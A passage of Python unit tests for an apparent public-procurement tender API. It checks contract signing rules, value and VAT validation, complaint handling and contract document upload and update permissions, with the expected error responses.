response.json["errors"][0]["description"], "Can't add contract in current (complete) tender status"
)
self.app.authorization = ("Basic", ("broker", ""))
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"status": "active"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(
response.json["errors"][0]["description"], "Can't update contract in current (complete) tender status"
)
def patch_tender_contract(self):
self.app.authorization = ("Basic", ("token", ""))
response = self.app.get("/tenders/{}/contracts".format(self.tender_id))
contract = response.json["data"][0]
self.assertEqual(contract["value"]["amount"], contract["value"]["amountNet"])
self.app.authorization = ("Basic", ("broker", ""))
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"status": "active"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertIn("Can't sign contract before stand-still period end (", response.json["errors"][0]["description"])
self.set_status("complete", {"status": "active.awarded"})
token = self.initial_bids_tokens.values()[0]
response = self.app.post_json(
"/tenders/{}/awards/{}/complaints?acc_token={}".format(self.tender_id, self.award_id, token),
{
"data": {
"title": "complaint title",
"description": "complaint description",
"author": test_author,
"status": "claim",
}
},
)
self.assertEqual(response.status, "201 Created")
complaint = response.json["data"]
owner_token = response.json["access"]["token"]
tender = self.db.get(self.tender_id)
for i in tender.get("awards", []):
i["complaintPeriod"]["endDate"] = i["complaintPeriod"]["startDate"]
self.db.save(tender)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amountNet": contract["value"]["amount"] - 1}}},
)
self.assertEqual(response.status, "200 OK")
self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{
"data": {
"contractID": "myselfID",
"items": [{"description": "New Description"}],
"suppliers": [{"name": "New Name"}],
}
},
)
response = self.app.get("/tenders/{}/contracts/{}".format(self.tender_id, contract["id"]))
self.assertEqual(response.json["data"]["contractID"], contract["contractID"])
self.assertEqual(response.json["data"]["items"], contract["items"])
self.assertEqual(response.json["data"]["suppliers"], contract["suppliers"])
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"currency": "USD"}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.json["errors"][0]["description"], "Can't update currency for contract value")
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"dateSigned": i["complaintPeriod"]["endDate"]}},
status=422,
)
self.assertEqual(response.status, "422 Unprocessable Entity")
self.assertEqual(
response.json["errors"],
[
{
u"description": [
u"Contract signature date should be after award complaint period end date ({})".format(
i["complaintPeriod"]["endDate"]
)
],
u"location": u"body",
u"name": u"dateSigned",
}
],
)
one_hour_in_furure = (get_now() + timedelta(hours=1)).isoformat()
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"dateSigned": one_hour_in_furure}},
status=422,
)
self.assertEqual(response.status, "422 Unprocessable Entity")
self.assertEqual(
response.json["errors"],
[
{
u"description": [u"Contract signature date can't be in the future"],
u"location": u"body",
u"name": u"dateSigned",
}
],
)
custom_signature_date = get_now().isoformat()
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"dateSigned": custom_signature_date}},
)
self.assertEqual(response.status, "200 OK")
response = self.app.patch_json(
"/tenders/{}/awards/{}/complaints/{}?acc_token={}".format(
self.tender_id, self.award_id, complaint["id"], self.tender_token
),
{"data": {"status": "answered", "resolutionType": "resolved", "resolution": "resolution text " * 2}},
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["data"]["status"], "answered")
self.assertEqual(response.json["data"]["resolutionType"], "resolved")
self.assertEqual(response.json["data"]["resolution"], "resolution text " * 2)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"status": "active"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["errors"][0]["description"], "Can't sign contract before reviewing all complaints")
response = self.app.patch_json(
"/tenders/{}/awards/{}/complaints/{}?acc_token={}".format(
self.tender_id, self.award_id, complaint["id"], owner_token
),
{"data": {"satisfied": True, "status": "resolved"}},
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["data"]["status"], "resolved")
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"status": "active"}},
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["data"]["status"], "active")
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amount": 232}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(
response.json["errors"][0]["description"], "Can't update contract in current (complete) tender status"
)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"contractID": "myselfID"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(
response.json["errors"][0]["description"], "Can't update contract in current (complete) tender status"
)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"items": [{"description": "New Description"}]}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(
response.json["errors"][0]["description"], "Can't update contract in current (complete) tender status"
)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"suppliers": [{"name": "New Name"}]}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(
response.json["errors"][0]["description"], "Can't update contract in current (complete) tender status"
)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"status": "active"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(
response.json["errors"][0]["description"], "Can't update contract in current (complete) tender status"
)
response = self.app.patch_json(
"/tenders/{}/contracts/some_id?acc_token={}".format(self.tender_id, self.tender_token),
{"data": {"status": "active"}},
status=404,
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"contract_id"}]
)
response = self.app.patch_json(
"/tenders/some_id/contracts/some_id?acc_token={}".format(self.tender_token),
{"data": {"status": "active"}},
status=404,
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"tender_id"}]
)
response = self.app.get("/tenders/{}/contracts/{}".format(self.tender_id, contract["id"]))
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["data"]["status"], "active")
self.assertEqual(response.json["data"]["contractID"], contract["contractID"])
self.assertEqual(response.json["data"]["items"], contract["items"])
self.assertEqual(response.json["data"]["suppliers"], contract["suppliers"])
self.assertEqual(response.json["data"]["dateSigned"], custom_signature_date)
def patch_tender_contract_value(self):
response = self.app.get("/tenders/{}/contracts".format(self.tender_id))
contract = response.json["data"][0]
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amount": 501}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.json["errors"][0]["description"], "Amount should be less or equal to awarded amount")
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amount": 502, "amountNet": 501}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.json["errors"][0]["description"], "Amount should be less or equal to awarded amount")
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amount": 238}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(
response.json["errors"][0]["description"],
"Amount should be greater than amountNet and differ by no more than 20.0%",
)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amount": 100, "amountNet": 80}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(
response.json["errors"][0]["description"],
"Amount should be greater than amountNet and differ by no more than 20.0%",
)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amount": 238, "amountNet": 238}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(
response.json["errors"][0]["description"],
"Amount should be greater than amountNet and differ by no more than 20.0%",
)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amount": 100, "amountNet": 85}}},
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.json["data"]["value"]["amount"], 100)
self.assertEqual(response.json["data"]["value"]["amountNet"], 85)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"valueAddedTaxIncluded": False}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.json["errors"][0]["description"], "Amount and amountNet should be equal")
def patch_tender_contract_value_vat_not_included(self):
response = self.app.get("/tenders/{}/contracts".format(self.tender_id))
contract = response.json["data"][0]
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"currency": "USD"}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.json["errors"][0]["description"], "Can't update currency for contract value")
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amount": 468}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.json["errors"][0]["description"], "Amount and amountNet should be equal")
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amount": 600, "amountNet": 600}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.json["errors"][0]["description"], "Amount should be less or equal to awarded amount")
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"amount": 400, "amountNet": 400}}},
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.json["data"]["value"]["amount"], 400)
self.assertEqual(response.json["data"]["value"]["amountNet"], 400)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"value": {"valueAddedTaxIncluded": True}}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(
response.json["errors"][0]["description"],
"Amount should be greater than amountNet and differ by no more than 20.0%",
)
def get_tender_contract(self):
self.app.authorization = ("Basic", ("token", ""))
response = self.app.post_json(
"/tenders/{}/contracts".format(self.tender_id),
{"data": {"title": "contract title", "description": "contract description", "awardID": self.award_id}},
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
contract = response.json["data"]
self.app.authorization = ("Basic", ("broker", ""))
response = self.app.get("/tenders/{}/contracts/{}".format(self.tender_id, contract["id"]))
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["data"], contract)
response = self.app.get("/tenders/{}/contracts/some_id".format(self.tender_id), status=404)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"contract_id"}]
)
response = self.app.get("/tenders/some_id/contracts/some_id", status=404)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"tender_id"}]
)
def get_tender_contracts(self):
self.app.authorization = ("Basic", ("token", ""))
response = self.app.post_json(
"/tenders/{}/contracts".format(self.tender_id),
{"data": {"title": "contract title", "description": "contract description", "awardID": self.award_id}},
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
contract = response.json["data"]
self.app.authorization = ("Basic", ("broker", ""))
response = self.app.get("/tenders/{}/contracts".format(self.tender_id))
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["data"][-1], contract)
response = self.app.get("/tenders/some_id/contracts", status=404)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"tender_id"}]
)
# Tender2LotContractResourceTest
def lot2_patch_tender_contract(self):
auth = self.app.authorization
self.app.authorization = ("Basic", ("token", ""))
response = self.app.post_json(
"/tenders/{}/contracts".format(self.tender_id),
{"data": {"title": "contract title", "description": "contract description", "awardID": self.award_id}},
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
contract = response.json["data"]
self.app.authorization = auth
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"status": "active"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertIn("Can't sign contract before stand-still period end (", response.json["errors"][0]["description"])
self.set_status("complete", {"status": "active.awarded"})
response = self.app.post_json(
"/tenders/{}/cancellations?acc_token={}".format(self.tender_id, self.tender_token),
{
"data": {
"reason": "cancellation reason",
"status": "active",
"cancellationOf": "lot",
"relatedLot": self.initial_lots[0]["id"],
}
},
)
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"status": "active"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["errors"][0]["description"], "Can update contract only in active lot status")
# TenderContractDocumentResourceTest
def not_found(self):
response = self.app.post(
"/tenders/some_id/contracts/some_id/documents?acc_token={}".format(self.tender_token),
status=404,
upload_files=[("file", "name.doc", "content")],
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"tender_id"}]
)
response = self.app.post(
"/tenders/{}/contracts/some_id/documents?acc_token={}".format(self.tender_id, self.tender_token),
status=404,
upload_files=[("file", "name.doc", "content")],
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"contract_id"}]
)
response = self.app.post(
"/tenders/{}/contracts/{}/documents?acc_token={}".format(self.tender_id, self.contract_id, self.tender_token),
status=404,
upload_files=[("invalid_value", "name.doc", "content")],
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(response.json["errors"], [{u"description": u"Not Found", u"location": u"body", u"name": u"file"}])
response = self.app.get("/tenders/some_id/contracts/some_id/documents", status=404)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"tender_id"}]
)
response = self.app.get("/tenders/{}/contracts/some_id/documents".format(self.tender_id), status=404)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"contract_id"}]
)
response = self.app.get("/tenders/some_id/contracts/some_id/documents/some_id", status=404)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"tender_id"}]
)
response = self.app.get("/tenders/{}/contracts/some_id/documents/some_id".format(self.tender_id), status=404)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"contract_id"}]
)
response = self.app.get(
"/tenders/{}/contracts/{}/documents/some_id".format(self.tender_id, self.contract_id), status=404
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"document_id"}]
)
response = self.app.put(
"/tenders/some_id/contracts/some_id/documents/some_id?acc_token={}".format(self.tender_token),
status=404,
upload_files=[("file", "name.doc", "content2")],
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"tender_id"}]
)
response = self.app.put(
"/tenders/{}/contracts/some_id/documents/some_id?acc_token={}".format(self.tender_id, self.tender_token),
status=404,
upload_files=[("file", "name.doc", "content2")],
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"contract_id"}]
)
response = self.app.put(
"/tenders/{}/contracts/{}/documents/some_id?acc_token={}".format(
self.tender_id, self.contract_id, self.tender_token
),
status=404,
upload_files=[("file", "name.doc", "content2")],
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"document_id"}]
)
def create_tender_contract_document(self):
response = self.app.post(
"/tenders/{}/contracts/{}/documents?acc_token={}".format(self.tender_id, self.contract_id, self.tender_token),
upload_files=[("file", "name.doc", "content")],
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
doc_id = response.json["data"]["id"]
self.assertIn(doc_id, response.headers["Location"])
self.assertEqual("name.doc", response.json["data"]["title"])
key = response.json["data"]["url"].split("?")[-1]
response = self.app.get("/tenders/{}/contracts/{}/documents".format(self.tender_id, self.contract_id))
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(doc_id, response.json["data"][0]["id"])
self.assertEqual("name.doc", response.json["data"][0]["title"])
response = self.app.get("/tenders/{}/contracts/{}/documents?all=true".format(self.tender_id, self.contract_id))
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(doc_id, response.json["data"][0]["id"])
self.assertEqual("name.doc", response.json["data"][0]["title"])
response = self.app.get(
"/tenders/{}/contracts/{}/documents/{}?download=some_id".format(self.tender_id, self.contract_id, doc_id),
status=404,
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"download"}]
)
response = self.app.get(
"/tenders/{}/contracts/{}/documents/{}?{}".format(self.tender_id, self.contract_id, doc_id, key)
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/msword")
self.assertEqual(response.content_length, 7)
self.assertEqual(response.body, "content")
response = self.app.get("/tenders/{}/contracts/{}/documents/{}".format(self.tender_id, self.contract_id, doc_id))
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertEqual("name.doc", response.json["data"]["title"])
tender = self.db.get(self.tender_id)
tender["contracts"][-1]["status"] = "cancelled"
self.db.save(tender)
response = self.app.post(
"/tenders/{}/contracts/{}/documents?acc_token={}".format(self.tender_id, self.contract_id, self.tender_token),
upload_files=[("file", "name.doc", "content")],
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["errors"][0]["description"], "Can't add document in current contract status")
self.set_status("{}".format(self.forbidden_contract_document_modification_actions_status))
response = self.app.post(
"/tenders/{}/contracts/{}/documents?acc_token={}".format(self.tender_id, self.contract_id, self.tender_token),
upload_files=[("file", "name.doc", "content")],
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(
response.json["errors"][0]["description"],
"Can't add document in current ({}) tender status".format(
self.forbidden_contract_document_modification_actions_status
),
)
def put_tender_contract_document(self):
response = self.app.post(
"/tenders/{}/contracts/{}/documents?acc_token={}".format(self.tender_id, self.contract_id, self.tender_token),
upload_files=[("file", "name.doc", "content")],
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
doc_id = response.json["data"]["id"]
self.assertIn(doc_id, response.headers["Location"])
response = self.app.put(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
status=404,
upload_files=[("invalid_name", "name.doc", "content")],
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(response.json["errors"], [{u"description": u"Not Found", u"location": u"body", u"name": u"file"}])
response = self.app.put(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
upload_files=[("file", "name.doc", "content2")],
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(doc_id, response.json["data"]["id"])
key = response.json["data"]["url"].split("?")[-1]
response = self.app.get(
"/tenders/{}/contracts/{}/documents/{}?{}".format(self.tender_id, self.contract_id, doc_id, key)
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/msword")
self.assertEqual(response.content_length, 8)
self.assertEqual(response.body, "content2")
response = self.app.get("/tenders/{}/contracts/{}/documents/{}".format(self.tender_id, self.contract_id, doc_id))
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertEqual("name.doc", response.json["data"]["title"])
response = self.app.put(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
"content3",
content_type="application/msword",
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(doc_id, response.json["data"]["id"])
key = response.json["data"]["url"].split("?")[-1]
response = self.app.get(
"/tenders/{}/contracts/{}/documents/{}?{}".format(self.tender_id, self.contract_id, doc_id, key)
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/msword")
self.assertEqual(response.content_length, 8)
self.assertEqual(response.body, "content3")
tender = self.db.get(self.tender_id)
tender["contracts"][-1]["status"] = "cancelled"
self.db.save(tender)
response = self.app.put(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
upload_files=[("file", "name.doc", "content3")],
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["errors"][0]["description"], "Can't update document in current contract status")
self.set_status("{}".format(self.forbidden_contract_document_modification_actions_status))
response = self.app.put(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
upload_files=[("file", "name.doc", "content3")],
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(
response.json["errors"][0]["description"],
"Can't update document in current ({}) tender status".format(
self.forbidden_contract_document_modification_actions_status
),
)
def patch_tender_contract_document(self):
response = self.app.post(
"/tenders/{}/contracts/{}/documents?acc_token={}".format(self.tender_id, self.contract_id, self.tender_token),
upload_files=[("file", "name.doc", "content")],
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
doc_id = response.json["data"]["id"]
self.assertIn(doc_id, response.headers["Location"])
response = self.app.patch_json(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
{"data": {"description": "document description"}},
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(doc_id, response.json["data"]["id"])
response = self.app.get("/tenders/{}/contracts/{}/documents/{}".format(self.tender_id, self.contract_id, doc_id))
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertEqual("document description", response.json["data"]["description"])
tender = self.db.get(self.tender_id)
tender["contracts"][-1]["status"] = "cancelled"
self.db.save(tender)
response = self.app.patch_json(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
{"data": {"description": "document description"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["errors"][0]["description"], "Can't update document in current contract status")
self.set_status("{}".format(self.forbidden_contract_document_modification_actions_status))
response = self.app.patch_json(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
{"data": {"description": "document description"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(
response.json["errors"][0]["description"],
"Can't update document in current ({}) tender status".format(
self.forbidden_contract_document_modification_actions_status
),
)
# Tender2LotContractDocumentResourceTest
def lot2_create_tender_contract_document(self):
response = self.app.post(
"/tenders/{}/contracts/{}/documents?acc_token={}".format(self.tender_id, self.contract_id, self.tender_token),
upload_files=[("file", "name.doc", "content")],
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
doc_id = response.json["data"]["id"]
self.assertIn(doc_id, response.headers["Location"])
self.assertEqual("name.doc", response.json["data"]["title"])
key = response.json["data"]["url"].split("?")[-1]
response = self.app.post_json(
"/tenders/{}/cancellations?acc_token={}".format(self.tender_id, self.tender_token),
{
"data": {
"reason": "cancellation reason",
"status": "active",
"cancellationOf": "lot",
"relatedLot": self.initial_lots[0]["id"],
}
},
)
response = self.app.post(
"/tenders/{}/contracts/{}/documents?acc_token={}".format(self.tender_id, self.contract_id, self.tender_token),
upload_files=[("file", "name.doc", "content")],
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["errors"][0]["description"], "Can add document only in active lot status")
def lot2_put_tender_contract_document(self):
response = self.app.post(
"/tenders/{}/contracts/{}/documents?acc_token={}".format(self.tender_id, self.contract_id, self.tender_token),
upload_files=[("file", "name.doc", "content")],
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
doc_id = response.json["data"]["id"]
self.assertIn(doc_id, response.headers["Location"])
response = self.app.put(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
status=404,
upload_files=[("invalid_name", "name.doc", "content")],
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(response.json["errors"], [{u"description": u"Not Found", u"location": u"body", u"name": u"file"}])
response = self.app.put(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
upload_files=[("file", "name.doc", "content2")],
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(doc_id, response.json["data"]["id"])
key = response.json["data"]["url"].split("?")[-1]
response = self.app.post_json(
"/tenders/{}/cancellations?acc_token={}".format(self.tender_id, self.tender_token),
{
"data": {
"reason": "cancellation reason",
"status": "active",
"cancellationOf": "lot",
"relatedLot": self.initial_lots[0]["id"],
}
},
)
response = self.app.put(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
upload_files=[("file", "name.doc", "content3")],
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["errors"][0]["description"], "Can update document only in active lot status")
def lot2_patch_tender_contract_document(self):
response = self.app.post(
"/tenders/{}/contracts/{}/documents?acc_token={}".format(self.tender_id, self.contract_id, self.tender_token),
upload_files=[("file", "name.doc", "content")],
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
doc_id = response.json["data"]["id"]
self.assertIn(doc_id, response.headers["Location"])
